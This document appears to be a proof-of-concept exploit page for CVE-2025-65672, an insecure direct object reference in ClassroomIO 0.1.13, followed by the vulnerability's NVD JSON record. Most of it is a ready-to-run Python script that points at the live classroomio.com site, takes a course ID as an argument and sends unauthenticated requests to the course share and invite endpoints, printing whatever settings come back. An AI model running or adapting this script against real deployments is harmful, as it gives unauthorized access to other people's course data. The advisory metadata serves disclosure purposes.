CVE-2025-65672

# CVE-2025-65672 PoC - ClassroomIO IDOR Vulnerability import requests import sys target_url = "https://classroomio.com" course_id = "TARGET_COURSE_ID" def exploit_idor(): """Exploit IDOR to access course settings without authorization""" # Step 1: Access course share settings via IDOR share_endpoint = f"{target_url}/api/courses/{course_id}/share" headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } print(f"[*] Exploiting IDOR vulnerability...") print(f"[*] Target: {share_endpoint}") # No authentication required - this is the vulnerability try: response = requests.get(share_endpoint, headers=headers, timeout=10) if response.status_code == 200: print("[+] Successfully accessed course settings!") print(f"[+] Response: {response.text}") return True else: print(f"[-] Request failed with status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def access_invite_settings(): """Access course invite settings without authorization""" invite_endpoint = f"{target_url}/api/courses/{course_id}/invite" headers = { "Content-Type": "application/json" } print(f"[*] Accessing invite settings: {invite_endpoint}") try: response = requests.get(invite_endpoint, headers=headers, timeout=10) if response.status_code == 200: print("[+] Invite settings accessed!") print(f"[+] Response: {response.text}") return True return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) > 1: course_id = sys.argv[1] exploit_idor() access_invite_settings()

{"cve": {"id": "CVE-2025-65672", "sourceIdentifier": "[email protected]", "published": "2025-11-26T19:15:47.963", "lastModified": "2025-12-05T14:30:55.717", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insecure Direct Object Reference (IDOR) in classroomio 0.1.13 allows unauthorized share and invite access to course settings."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:classroomio:classroomio:0.1.13:*:*:*:*:*:*:*", "matchCriteriaId": "7C6D9D0E-58A9-4468-90E2-3717E4632BF0"}]}]}], "references": [{"url": "http://classroomio.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/Rivek619/CVE-2025-65672", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/classroomio/classroomio", "source": "[email protected]", "tags": ["Product"]}]}}